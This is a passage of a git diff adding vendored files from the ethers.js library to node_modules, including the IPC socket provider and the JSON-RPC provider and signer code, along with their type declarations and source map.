(true) { + const nl = data.indexOf(10, lastStart); + if (nl === -1) { + break; + } + messages.push(data.subarray(lastStart, nl).toString().trim()); + lastStart = nl + 1; + } + return { messages, remaining: data.subarray(lastStart) }; +} +/** + * An **IpcSocketProvider** connects over an IPC socket on the host + * which provides fast access to the node, but requires the node and + * the script run on the same machine. + */ +class IpcSocketProvider extends provider_socket_js_1.SocketProvider { + #socket; + /** + * The connected socket. + */ + get socket() { return this.#socket; } + constructor(path, network, options) { + super(network, options); + this.#socket = (0, net_1.connect)(path); + this.socket.on("ready", async () => { + try { + await this._start(); + } + catch (error) { + console.log("failed to start IpcSocketProvider", error); + // @TODO: Now what? Restart? + } + }); + let response = Buffer.alloc(0); + this.socket.on("data", (data) => { + response = Buffer.concat([response, data]); + const { messages, remaining } = splitBuffer(response); + messages.forEach((message) => { + this._processMessage(message); + }); + response = remaining; + }); + this.socket.on("end", () => { + this.emit("close"); + this.socket.destroy(); + this.socket.end(); + }); + } + destroy() { + this.socket.destroy(); + this.socket.end(); + super.destroy(); + } + async _write(message) { + if (!message.endsWith("\n")) { + message += "\n"; + } + this.socket.write(message); + } +} +exports.IpcSocketProvider = IpcSocketProvider; +//# sourceMappingURL=provider-ipcsocket.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.js.map b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.js.map new file mode 100644 index 000000000000..eec8ddcdc63d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.js.map @@ -0,0 +1 @@ +{"version":3,"file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lib.commonjs/providers/provider-jsonrpc.d.ts new file mode 100644 index 000000000000..cd837819ae47 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.d.ts @@ -0,0 +1,361 @@ +/** + * One of the most common ways to interact with the blockchain is + * by a node running a JSON-RPC interface which can be connected to, + * based on the transport, using: + * + * - HTTP or HTTPS - [[JsonRpcProvider]] + * - WebSocket - [[WebSocketProvider]] + * - IPC - [[IpcSocketProvider]] + * + * @_section: api/providers/jsonrpc:JSON-RPC Provider [about-jsonrpcProvider] + */ +import { FetchRequest } from "../utils/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { AbstractSigner } from "./abstract-signer.js"; +import { Network } from "./network.js"; +import type { TypedDataDomain, TypedDataField } from "../hash/index.js"; +import type { TransactionLike } from "../transaction/index.js"; +import type { PerformActionRequest, Subscriber, Subscription } from "./abstract-provider.js"; +import type { Networkish } from "./network.js"; +import type { Provider, TransactionRequest, TransactionResponse } from "./provider.js"; +import type { Signer } from "./signer.js"; +/** + * A JSON-RPC payload, which are sent to a JSON-RPC server. + */ +export type JsonRpcPayload = { + /** + * The JSON-RPC request ID. + */ + id: number; + /** + * The JSON-RPC request method. + */ + method: string; + /** + * The JSON-RPC request parameters. + */ + params: Array | Record; + /** + * A required constant in the JSON-RPC specification. + */ + jsonrpc: "2.0"; +}; +/** + * A JSON-RPC result, which are returned on success from a JSON-RPC server. + */ +export type JsonRpcResult = { + /** + * The response ID to match it to the relevant request. + */ + id: number; + /** + * The response result. + */ + result: any; +}; +/** + * A JSON-RPC error, which are returned on failure from a JSON-RPC server. + */ +export type JsonRpcError = { + /** + * The response ID to match it to the relevant request. + */ + id: number; + /** + * The response error. + */ + error: { + code: number; + message?: string; + data?: any; + }; +}; +/** + * When subscribing to the ``"debug"`` event, the [[Listener]] will + * receive this object as the first parameter. + */ +export type DebugEventJsonRpcApiProvider = { + action: "sendRpcPayload"; + payload: JsonRpcPayload | Array; +} | { + action: "receiveRpcResult"; + result: Array; +} | { + action: "receiveRpcError"; + error: Error; +}; +/** + * Options for configuring a [[JsonRpcApiProvider]]. Much of this + * is targetted towards sub-classes, which often will not expose + * any of these options to their consumers. + * + * **``polling``** - use the polling strategy is used immediately + * for events; otherwise, attempt to use filters and fall back onto + * polling (default: ``false``) + * + * **``staticNetwork``** - do not request chain ID on requests to + * validate the underlying chain has not changed (default: ``null``) + * + * This should **ONLY** be used if it is **certain** that the network + * cannot change, such as when using INFURA (since the URL dictates the + * network). If the network is assumed static and it does change, this + * can have tragic consequences. For example, this **CANNOT** be used + * with MetaMask, since the user can select a new network from the + * drop-down at any time. + * + * **``batchStallTime``** - how long (ms) to aggregate requests into a + * single batch. ``0`` indicates batching will only encompass the current + * event loop. If ``batchMaxCount = 1``, this is ignored. (default: ``10``) + * + * **``batchMaxSize``** - target maximum size (bytes) to allow per batch + * request (default: 1Mb) + * + * **``batchMaxCount``** - maximum number of requests to allow in a batch. + * If ``batchMaxCount = 1``, then batching is disabled. (default: ``100``) + * + * **``cacheTimeout``** - passed as [[AbstractProviderOptions]]. + */ +export type JsonRpcApiProviderOptions = { + polling?: boolean; + staticNetwork?: null | boolean | Network; + batchStallTime?: number; + batchMaxSize?: number; + batchMaxCount?: number; + cacheTimeout?: number; + pollingInterval?: number; +}; +/** + * A **JsonRpcTransactionRequest** is formatted as needed by the JSON-RPC + * Ethereum API specification. + */ +export interface JsonRpcTransactionRequest { + /** + * The sender address to use when signing. + */ + from?: string; + /** + * The target address. + */ + to?: string; + /** + * The transaction data. + */ + data?: string; + /** + * The chain ID the transaction is valid on. + */ + chainId?: string; + /** + * The [[link-eip-2718]] transaction type. + */ + type?: string; + /** + * The maximum amount of gas to allow a transaction to consume. + * + * In most other places in ethers, this is called ``gasLimit`` which + * differs from the JSON-RPC Ethereum API specification. + */ + gas?: string; + /** + * The gas price per wei for transactions prior to [[link-eip-1559]]. + */ + gasPrice?: string; + /** + * The maximum fee per gas for [[link-eip-1559]] transactions. + */ + maxFeePerGas?: string; + /** + * The maximum priority fee per gas for [[link-eip-1559]] transactions. + */ + maxPriorityFeePerGas?: string; + /** + * The nonce for the transaction. + */ + nonce?: string; + /** + * The transaction value (in wei). + */ + value?: string; + /** + * The transaction access list. + */ + accessList?: Array<{ + address: string; + storageKeys: Array; + }>; + /** + * The transaction authorization list. + */ + authorizationList?: Array<{ + address: string; + nonce: string; + chainId: string; + yParity: string; + r: string; + s: string; + }>; +} +export declare class JsonRpcSigner extends AbstractSigner { + address: string; + constructor(provider: JsonRpcApiProvider, address: string); + connect(provider: null | Provider): Signer; + getAddress(): Promise; + populateTransaction(tx: TransactionRequest): Promise>; + sendUncheckedTransaction(_tx: TransactionRequest): Promise; + sendTransaction(tx: TransactionRequest): Promise; + signTransaction(_tx: TransactionRequest): Promise; + signMessage(_message: string | Uint8Array): Promise; + signTypedData(domain: TypedDataDomain, types: Record>, _value: Record): Promise; + unlock(password: string): Promise; + _legacySignMessage(_message: string | Uint8Array): Promise; +} +/** + * The JsonRpcApiProvider is an abstract class and **MUST** be + * sub-classed. + * + * It provides the base for all JSON-RPC-based Provider interaction. + * + * Sub-classing Notes: + * - a sub-class MUST override _send + * - a sub-class MUST call the `_start()` method once connected + */ +export declare abstract class JsonRpcApiProvider extends AbstractProvider { + #private; + constructor(network?: Networkish, options?: JsonRpcApiProviderOptions); + /** + * Returns the value associated with the option %%key%%. + * + * Sub-classes can use this to inquire about configuration options. + */ + _getOption(key: K): JsonRpcApiProviderOptions[K]; + /** + * Gets the [[Network]] this provider has committed to. On each call, the network + * is detected, and if it has changed, the call will reject. + */ + get _network(): Network; + /** + * Sends a JSON-RPC %%payload%% (or a batch) to the underlying channel. + * + * Sub-classes **MUST** override this. + */ + abstract _send(payload: JsonRpcPayload | Array): Promise>; + /** + * Resolves to the non-normalized value by performing %%req%%. + * + * Sub-classes may override this to modify behavior of actions, + * and should generally call ``super._perform`` as a fallback. + */ + _perform(req: PerformActionRequest): Promise; + /** + * Sub-classes may override this; it detects the *actual* network that + * we are **currently** connected to. + * + * Keep in mind that [[send]] may only be used once [[ready]], otherwise the + * _send primitive must be used instead. + */ + _detectNetwork(): Promise; + /** + * Sub-classes **MUST** call this. Until [[_start]] has been called, no calls + * will be passed to [[_send]] from [[send]]. If it is overridden, then + * ``super._start()`` **MUST** be called. + * + * Calling it multiple times is safe and has no effect. + */ + _start(): void; + /** + * Resolves once the [[_start]] has been called. This can be used in + * sub-classes to defer sending data until the connection has been + * established. + */ + _waitUntilReady(): Promise; + /** + * Return a Subscriber that will manage the %%sub%%. + * + * Sub-classes may override this to modify the behavior of + * subscription management. + */ + _getSubscriber(sub: Subscription): Subscriber; + /** + * Returns true only if the [[_start]] has been called. + */ + get ready(): boolean; + /** + * Returns %%tx%% as a normalized JSON-RPC transaction request, + * which has all values hexlified and any numeric values converted + * to Quantity values. + */ + getRpcTransaction(tx: TransactionRequest): JsonRpcTransactionRequest; + /** + * Returns the request method and arguments required to perform + * %%req%%. + */ + getRpcRequest(req: PerformActionRequest): null | { + method: string; + args: Array; + }; + /** + * Returns an ethers-style Error for the given JSON-RPC error + * %%payload%%, coalescing the various strings and error shapes + * that different nodes return, coercing them into a machine-readable + * standardized error. + */ + getRpcError(payload: JsonRpcPayload, _error: JsonRpcError): Error; + /** + * Requests the %%method%% with %%params%% via the JSON-RPC protocol + * over the underlying channel. This can be used to call methods + * on the backend that do not have a high-level API within the Provider + * API. + * + * This method queues requests according to the batch constraints + * in the options, assigns the request a unique ID. + * + * **Do NOT override** this method in sub-classes; instead + * override [[_send]] or force the options values in the + * call to the constructor to modify this method's behavior. + */ + send(method: string, params: Array | Record): Promise; + /** + * Resolves to the [[Signer]] account for %%address%% managed by + * the client. + * + * If the %%address%% is a number, it is used as an index in the + * the accounts from [[listAccounts]]. + * + * This can only be used on clients which manage accounts (such as + * Geth with imported account or MetaMask). + * + * Throws if the account doesn't exist. + */ + getSigner(address?: number | string): Promise; + listAccounts(): Promise>; + destroy(): void; +} +/** + * @_ignore: + */ +export declare abstract class JsonRpcApiPollingProvider extends JsonRpcApiProvider { + #private; + constructor(network?: Networkish, options?: JsonRpcApiProviderOptions); + _getSubscriber(sub: Subscription): Subscriber; + /** + * The polling interval (default: 4000 ms) + */ + get pollingInterval(): number; + set pollingInterval(value: number); +} +/** + * The JsonRpcProvider is one of the most common Providers, + * which performs all operations over HTTP (or HTTPS) requests. + * + * Events are processed by polling the backend for the current block + * number; when it advances, all block-base events are then checked + * for updates. + */ +export declare class JsonRpcProvider extends JsonRpcApiPollingProvider { + #private; + constructor(url?: string | FetchRequest, network?: Networkish, options?: JsonRpcApiProviderOptions); + _getConnection(): FetchRequest; + send(method: string, params: Array | Record): Promise; + _send(payload: JsonRpcPayload | Array): Promise>; +} +//# sourceMappingURL=provider-jsonrpc.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.d.ts.map new file mode 100644 index 000000000000..8a6f870a1aff --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-jsonrpc.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-jsonrpc.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAWH,OAAO,EAGH,YAAY,EACf,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,gBAAgB,EAAuB,MAAM,wBAAwB,CAAC;AAC/E,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AAIvC,OAAO,KAAK,EAAE,eAAe,EAAE,cAAc,EAAE,MAAM,kBAAkB,CAAC;AACxE,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,yBAAyB,CAAC;AAE/D,OAAO,KAAK,EAAE,oBAAoB,EAAE,UAAU,EAAE,YAAY,EAAE,MAAM,wBAAwB,CAAC;AAC7F,OAAO,KAAK,EAAE,UAAU,EA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O,CAAC,KAAK,CAAC,aAAa,CAAC,CAAC;IAKnD,OAAO,IAAI,IAAI;CAmBlB;AAKD;;GAEG;AACH,8BAAsB,yBAA0B,SAAQ,kBAAkB;;gBAE1D,OAAO,CAAC,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE,yBAAyB;IASrE,cAAc,CAAC,GAAG,EAAE,YAAY,GAAG,UAAU;IAQ7C;;OAEG;IACH,IAAI,eAAe,IAAI,MAAM,CAAkC;IAC/D,IAAI,eAAe,CAAC,KAAK,EAAE,MAAM,EAQhC;CACJ;AAED;;;;;;;GAOG;AACH,qBAAa,eAAgB,SAAQ,yBAAyB;;gBAG9C,GAAG,CAAC,EAAE,MAAM,GAAG,YAAY,EAAE,OAAO,CAAC,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE,yBAAyB;IAWlG,cAAc,IAAI,YAAY;IAIxB,IAAI,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC;IAS5E,KAAK,CAAC,OAAO,EAAE,cAAc,GAAG,KAAK,CAAC,cAAc,CAAC,GAAG,OAAO,CAAC,KAAK,CAAC,aAAa,CAAC,CAAC;CAa9F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.js b/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.js new file mode 100644 index 000000000000..f0a66dfc6211 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-jsonrpc.js @@ -0,0 +1,980 @@ +"use strict"; +/** + * One of the most common ways to interact with the blockchain is + * by a node running a JSON-RPC interface which can be connected to, + * based on the transport, using: + * + * - HTTP or HTTPS - [[JsonRpcProvider]] + * - WebSocket - [[WebSocketProvider]] + * - IPC - [[IpcSocketProvider]] + * + * @_section: api/providers/jsonrpc:JSON-RPC Provider [about-jsonrpcProvider] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.JsonRpcProvider = exports.JsonRpcApiPollingProvider = exports.JsonRpcApiProvider = exports.JsonRpcSigner = void 0; +// @TODO: +// - Add the batching API +// https://playground.open-rpc.org/?schemaUrl=https://raw.githubusercontent.com/ethereum/eth1.0-apis/assembled-spec/openrpc.json&uiSchema%5BappBar%5D%5Bui:splitView%5D=true&uiSchema%5BappBar%5D%5Bui:input%5D=false&uiSchema%5BappBar%5D%5Bui:examplesDropdown%5D=false +const index_js_1 = require("../abi/index.js"); +const index_js_2 = require("../address/index.js"); +const index_js_3 = require("../hash/index.js"); +const index_js_4 = require("../transaction/index.js"); +const index_js_5 = require("../utils/index.js"); +const abstract_provider_js_1 = require("./abstract-provider.js"); +const abstract_signer_js_1 = require("./abstract-signer.js"); +const network_js_1 = require("./network.js"); +const subscriber_filterid_js_1 = require("./subscriber-filterid.js"); +const subscriber_polling_js_1 = require("./subscriber-polling.js"); +const Primitive = "bigint,boolean,function,number,string,symbol".split(/,/g); +//const Methods = "getAddress,then".split(/,/g); +function deepCopy(value) { + if (value == null || Primitive.indexOf(typeof (value)) >= 0) { + return value; + } + // Keep any Addressable + if (typeof (value.getAddress) === "function") { + return value; + } + if (Array.isArray(value)) { + return (value.map(deepCopy)); + } + if (typeof (value) === "object") { + return Object.keys(value).reduce((accum, key) => { + accum[key] = value[key]; + return accum; + }, {}); + } + throw new Error(`should not happen: ${value} (${typeof (value)})`); +} +function stall(duration) { + return new Promise((resolve) => { setTimeout(resolve, duration); }); +} +function getLowerCase(value) { + if (value) { + return value.toLowerCase(); + } + return value; +} +function isPollable(value) { + return (value && typeof (value.pollingInterval) === "number"); +} +const defaultOptions = { + polling: false, + staticNetwork: null, + batchStallTime: 10, + batchMaxSize: (1 << 20), + batchMaxCount: 100, + cacheTimeout: 250, + pollingInterval: 4000 +}; +// @TODO: Unchecked Signers +class JsonRpcSigner extends abstract_signer_js_1.AbstractSigner { + address; + constructor(provider, address) { + super(provider); + address = (0, index_js_2.getAddress)(address); + (0, index_js_5.defineProperties)(this, { address }); + } + connect(provider) { + (0, index_js_5.assert)(false, "cannot reconnect JsonRpcSigner", "UNSUPPORTED_OPERATION", { + operation: "signer.connect" + }); + } + async getAddress() { + return this.address; + } + // JSON-RPC will automatially fill in nonce, etc. so we just check from + async populateTransaction(tx) { + return await this.populateCall(tx); + } + // Returns just the hash of the transaction after sent, which is what + // the bare JSON-RPC API does; + async sendUncheckedTransaction(_tx) { + const tx = deepCopy(_tx); + const promises = []; + // Make sure the from matches the sender + if (tx.from) { + const _from = tx.from; + promises.push((async () => { + const from = await (0, index_js_2.resolveAddress)(_from, this.provider); + (0, index_js_5.assertArgument)(from != null && from.toLowerCase() === this.address.toLowerCase(), "from address mismatch", "transaction", _tx); + tx.from = from; + })()); + } + else { + tx.from = this.address; + } + // The JSON-RPC for eth_sendTransaction uses 90000 gas; if the user + // wishes to use this, it is easy to specify explicitly, otherwise + // we look it up for them. + if (tx.gasLimit == null) { + promises.push((async () => { + tx.gasLimit = await this.provider.estimateGas({ ...tx, from: this.address }); + })()); + } + // The address may be an ENS name or Addressable + if (tx.to != null) { + const _to = tx.to; + promises.push((async () => { + tx.to = await (0, index_js_2.resolveAddress)(_to, this.provider); + })()); + } + // Wait until all of our properties are filled in + if (promises.length) { + await Promise.all(promises); + } + const hexTx = this.provider.getRpcTransaction(tx); + return this.provider.send("eth_sendTransaction", [hexTx]); + } + async sendTransaction(tx) { + // This cannot be mined any earlier than any recent block + const blockNumber = await this.provider.getBlockNumber(); + // Send the transaction + const hash = await this.sendUncheckedTransaction(tx); + // Unfortunately, JSON-RPC only provides and opaque transaction hash + // for a response, and we need the actual transaction, so we poll + // for it; it should show up very quickly + return await (new Promise((resolve, reject) => { + const timeouts = [1000, 100]; + let invalids = 0; + const checkTx = async () => { + try { + // Try getting the transaction + const tx = await this.provider.getTransaction(hash); + if (tx != null) { + resolve(tx.replaceableTransaction(blockNumber)); + return; + } + } + catch (error) { + // If we were cancelled: stop polling. + // If the data is bad: the node returns bad transactions + // If the network changed: calling again will also fail + // If unsupported: likely destroyed + if ((0, index_js_5.isError)(error, "CANCELLED") || (0, index_js_5.isError)(error, "BAD_DATA") || + (0, index_js_5.isError)(error, "NETWORK_ERROR") || (0, index_js_5.isError)(error, "UNSUPPORTED_OPERATION")) { + if (error.info == null) { + error.info = {}; + } + error.info.sendTransactionHash = hash; + reject(error); + return; + } + // Stop-gap for misbehaving backends; see #4513 + if ((0, index_js_5.isError)(error, "INVALID_ARGUMENT")) { + invalids++; + if (error.info == null) { + error.info = {}; + } + error.info.sendTransactionHash = hash; + if (invalids > 10) { + reject(error); + return; + } + } + // Notify anyone that cares; but we will try again, since + // it is likely an intermittent service error + this.provider.emit("error", (0, index_js_5.makeError)("failed to fetch transation after sending (will try again)", "UNKNOWN_ERROR", { error })); + } + // Wait another 4 seconds + this.provider._setTimeout(() => { checkTx(); }, timeouts.pop() || 4000); + }; + checkTx(); + })); + } + async signTransaction(_tx) { + const tx = deepCopy(_tx); + // Make sure the from matches the sender + if (tx.from) { + const from = await (0, index_js_2.resolveAddress)(tx.from, this.provider); + (0, index_js_5.assertArgument)(from != null && from.toLowerCase() === this.address.toLowerCase(), "from address mismatch", "transaction", _tx); + tx.from = from; + } + else { + tx.from = this.address; + } + const hexTx = this.provider.getRpcTransaction(tx); + return await this.provider.send("eth_signTransaction", [hexTx]); + } + async signMessage(_message) { + const message = ((typeof (_message) === "string") ? (0, index_js_5.toUtf8Bytes)(_message) : _message); + return await this.provider.send("personal_sign", [ + (0, index_js_5.hexlify)(message), this.address.toLowerCase() + ]); + } + async signTypedData(domain, types, _value) { + const value = deepCopy(_value); + // Populate any ENS names (in-place) + const populated = await index_js_3.TypedDataEncoder.resolveNames(domain, types, value, async (value) => { + const address = await (0, index_js_2.resolveAddress)(value); + (0, index_js_5.assertArgument)(address != null, "TypedData does not support null address", "value", value); + return address; + }); + return await this.provider.send("eth_signTypedData_v4", [ + this.address.toLowerCase(), + JSON.stringify(index_js_3.TypedDataEncoder.getPayload(populated.domain, types, populated.value)) + ]); + } + async unlock(password) { + return this.provider.send("personal_unlockAccount", [ + this.address.toLowerCase(), password, null + ]); + } + // https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign + async _legacySignMessage(_message) { + const message = ((typeof (_message) === "string") ? (0, index_js_5.toUtf8Bytes)(_message) : _message); + return await this.provider.send("eth_sign", [ + this.address.toLowerCase(), (0, index_js_5.hexlify)(message) + ]); + } +} +exports.JsonRpcSigner = JsonRpcSigner; +/** + * The JsonRpcApiProvider is an abstract class and **MUST** be + * sub-classed. + * + * It provides the base for all JSON-RPC-based Provider interaction. + * + * Sub-classing Notes: + * - a sub-class MUST override _send + * - a sub-class MUST call the `_start()` method once connected + */ +class JsonRpcApiProvider extends abstract_provider_js_1.AbstractProvider { + #options; + // The next ID to use for the JSON-RPC ID field + #nextId; + // Payloads are queued and triggered in batches using the drainTimer + #payloads; + #drainTimer; + #notReady; + #network; + #pendingDetectNetwork; + #scheduleDrain() { + if (this.#drainTimer) { + return; + } + // If we aren't using batching, no harm in sending it immediately + const stallTime = (this._getOption("batchMaxCount") === 1) ? 0 : this._getOption("batchStallTime"); + this.#drainTimer = setTimeout(() => { + this.#drainTimer = null; + const payloads = this.#payloads; + this.#payloads = []; + while (payloads.length) { + // Create payload batches that satisfy our batch constraints + const batch = [(payloads.shift())]; + while (payloads.length) { + if (batch.length === this.#options.batchMaxCount) { + break; + } + batch.push((payloads.shift())); + const bytes = JSON.stringify(batch.map((p) => p.payload)); + if (bytes.length > this.#options.batchMaxSize) { + payloads.unshift((batch.pop())); + break; + } + } + // Process the result to each payload + (async () => { + const payload = ((batch.length === 1) ? batch[0].payload : batch.map((p) => p.payload)); + this.emit("debug", { action: "sendRpcPayload", payload }); + try { + const result = await this._send(payload); + this.emit("debug", { action: "receiveRpcResult", result }); + // Process results in batch order + for (const { resolve, reject, payload } of batch) { + if (this.destroyed) { + reject((0, index_js_5.makeError)("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + continue; + } + // Find the matching result + const resp = result.filter((r) => (r.id === payload.id))[0]; + // No result; the node failed us in unexpected ways + if (resp == null) { + const error = (0, index_js_5.makeError)("missing response for request", "BAD_DATA", { + value: result, info: { payload } + }); + this.emit("error", error); + reject(error); + continue; + } + // The response is an error + if ("error" in resp) { + reject(this.getRpcError(payload, resp)); + continue; + } + // All good; send the result + resolve(resp.result); + } + } + catch (error) { + this.emit("debug", { action: "receiveRpcError", error }); + for (const { reject } of batch) { + // @TODO: augment the error with the payload + reject(error); + } + } + })(); + } + }, stallTime); + } + constructor(network, options) { + super(network, options); + this.#nextId = 1; + this.#options = Object.assign({}, defaultOptions, options || {}); + this.#payloads = []; + this.#drainTimer = null; + this.#network = null; + this.#pendingDetectNetwork = null; + { + let resolve = null; + const promise = new Promise((_resolve) => { + resolve = _resolve; + }); + this.#notReady = { promise, resolve }; + } + const staticNetwork = this._getOption("staticNetwork"); + if (typeof (staticNetwork) === "boolean") { + (0, index_js_5.assertArgument)(!staticNetwork || network !== "any", "staticNetwork cannot be used on special network 'any'", "options", options); + if (staticNetwork && network != null) { + this.#network = network_js_1.Network.from(network); + } + } + else if (staticNetwork) { + // Make sure any static network is compatbile with the provided netwrok + (0, index_js_5.assertArgument)(network == null || staticNetwork.matches(network), "staticNetwork MUST match network object", "options", options); + this.#network = staticNetwork; + } + } + /** + * Returns the value associated with the option %%key%%. + * + * Sub-classes can use this to inquire about configuration options. + */ + _getOption(key) { + return this.#options[key]; + } + /** + * Gets the [[Network]] this provider has committed to. On each call, the network + * is detected, and if it has changed, the call will reject. + */ + get _network() { + (0, index_js_5.assert)(this.#network, "network is not available yet", "NETWORK_ERROR"); + return this.#network; + } + /** + * Resolves to the non-normalized value by performing %%req%%. + * + * Sub-classes may override this to modify behavior of actions, + * and should generally call ``super._perform`` as a fallback. + */ + async _perform(req) { + // Legacy networks do not like the type field being passed along (which + // is fair), so we delete type if it is 0 and a non-EIP-1559 network + if (req.method === "call" || req.method === "estimateGas") { + let tx = req.transaction; + if (tx && tx.type != null && (0, index_js_5.getBigInt)(tx.type)) { + // If there are no EIP-1559 or newer properties, it might be pre-EIP-1559 + if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) { + const feeData = await this.getFeeData(); + if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) { + // Network doesn't know about EIP-1559 (and hence type) + req = Object.assign({}, req, { + transaction: Object.assign({}, tx, { type: undefined }) + }); + } + } + } + } + const request = this.getRpcRequest(req); + if (request != null) { + return await this.send(request.method, request.args); + } + return super._perform(req); + } + /** + * Sub-classes may override this; it detects the *actual* network that + * we are **currently** connected to. + * + * Keep in mind that [[send]] may only be used once [[ready]], otherwise the + * _send primitive must be used instead. + */ + async _detectNetwork() { + const network = this._getOption("staticNetwork"); + if (network) { + if (network === true) { + if (this.#network) { + return this.#network; + } + } + else { + return network; + } + } + if (this.#pendingDetectNetwork) { + return await this.#pendingDetectNetwork; + } + // If we are ready, use ``send``, which enabled requests to be batched + if (this.ready) { + this.#pendingDetectNetwork = (async () => { + try { + const result = network_js_1.Network.from((0, index_js_5.getBigInt)(await this.send("eth_chainId", []))); + this.#pendingDetectNetwork = null; + return result; + } + catch (error) { + this.#pendingDetectNetwork = null; + throw error; + } + })(); + return await this.#pendingDetectNetwork; + } + // We are not ready yet; use the primitive _send + this.#pendingDetectNetwork = (async () => { + const payload = { + id: this.#nextId++, method: "eth_chainId", params: [], jsonrpc: "2.0" + }; + this.emit("debug", { action: "sendRpcPayload", payload }); + let result; + try { + result = (await this._send(payload))[0]; + this.#pendingDetectNetwork = null; + } + catch (error) { + this.#pendingDetectNetwork = null; + this.emit("debug", { action: "receiveRpcError", error }); + throw error; + } + this.emit("debug", { action: "receiveRpcResult", result }); + if ("result" in result) { + return network_js_1.Network.from((0, index_js_5.getBigInt)(result.result)); + } + throw this.getRpcError(payload, result); + })(); + return await this.#pendingDetectNetwork; + } + /** + * Sub-classes **MUST** call this. Until [[_start]] has been called, no calls + * will be passed to [[_send]] from [[send]]. If it is overridden, then + * ``super._start()`` **MUST** be called. + * + * Calling it multiple times is safe and has no effect. + */ + _start() { + if (this.#notReady == null || this.#notReady.resolve == null) { + return; + } + this.#notReady.resolve(); + this.#notReady = null; + (async () => { + // Bootstrap the network + while (this.#network == null && !this.destroyed) { + try { + this.#network = await this._detectNetwork(); + } + catch (error) { + if (this.destroyed) { + break; + } + console.log("JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)"); + this.emit("error", (0, index_js_5.makeError)("failed to bootstrap network detection", "NETWORK_ERROR", { event: "initial-network-discovery", info: { error } })); + await stall(1000); + } + } + // Start dispatching requests + this.#scheduleDrain(); + })(); + } + /** + * Resolves once the [[_start]] has been called. This can be used in + * sub-classes to defer sending data until the connection has been + * established. + */ + async _waitUntilReady() { + if (this.#notReady == null) { + return; + } + return await this.#notReady.promise; + } + /** + * Return a Subscriber that will manage the %%sub%%. + * + * Sub-classes may override this to modify the behavior of + * subscription management. + */ + _getSubscriber(sub) { + // Pending Filters aren't availble via polling + if (sub.type === "pending") { + return new subscriber_filterid_js_1.FilterIdPendingSubscriber(this); + } + if (sub.type === "event") { + if (this._getOption("polling")) { + return new subscriber_polling_js_1.PollingEventSubscriber(this, sub.filter); + } + return new subscriber_filterid_js_1.FilterIdEventSubscriber(this, sub.filter); + } + // Orphaned Logs are handled automatically, by the filter, since + // logs with removed are emitted by it + if (sub.type === "orphan" && sub.filter.orphan === "drop-log") { + return new abstract_provider_js_1.UnmanagedSubscriber("orphan"); + } + return super._getSubscriber(sub); + } + /** + * Returns true only if the [[_start]] has been called. + */ + get ready() { return this.#notReady == null; } + /** + * Returns %%tx%% as a normalized JSON-RPC transaction request, + * which has all values hexlified and any numeric values converted + * to Quantity values. + */ + getRpcTransaction(tx) { + const result = {}; + // JSON-RPC now requires numeric values to be "quantity" values + ["chainId", "gasLimit", "gasPrice", "type", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "value"].forEach((key) => { + if (tx[key] == null) { + return; + } + let dstKey = key; + if (key === "gasLimit") { + dstKey = "gas"; + } + result[dstKey] = (0, index_js_5.toQuantity)((0, index_js_5.getBigInt)(tx[key], `tx.${key}`)); + }); + // Make sure addresses and data are lowercase + ["from", "to", "data"].forEach((key) => { + if (tx[key] == null) { + return; + } + result[key] = (0, index_js_5.hexlify)(tx[key]); + }); + // Normalize the access list object + if (tx.accessList) { + result["accessList"] = (0, index_js_4.accessListify)(tx.accessList); + } + if (tx.blobVersionedHashes) { + // @TODO: Remove this case once EIP-4844 added to prepared tx + result["blobVersionedHashes"] = tx.blobVersionedHashes.map(h => h.toLowerCase()); + } + if (tx.authorizationList) { + result["authorizationList"] = tx.authorizationList.map((_a) => { + const a = (0, index_js_4.authorizationify)(_a); + return { + address: a.address, + nonce: (0, index_js_5.toQuantity)(a.nonce), + chainId: (0, index_js_5.toQuantity)(a.chainId), + yParity: (0, index_js_5.toQuantity)(a.signature.yParity), + r: (0, index_js_5.toQuantity)(a.signature.r), + s: (0, index_js_5.toQuantity)(a.signature.s), + }; + }); + } + // @TODO: blobs should probably also be copied over, optionally + // accounting for the kzg property to backfill blobVersionedHashes + // using the commitment. Or should that be left as an exercise to + // the caller? + return result; + } + /** + * Returns the request method and arguments required to perform + * %%req%%. + */ + getRpcRequest(req) { + switch (req.method) { + case "chainId": + return { method: "eth_chainId", args: [] }; + case "getBlockNumber": + return { method: "eth_blockNumber", args: [] }; + case "getGasPrice": + return { method: "eth_gasPrice", args: [] }; + case "getPriorityFee": + return { method: "eth_maxPriorityFeePerGas", args: [] }; + case "getBalance": + return { + method: "eth_getBalance", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getTransactionCount": + return { + method: "eth_getTransactionCount", + args: 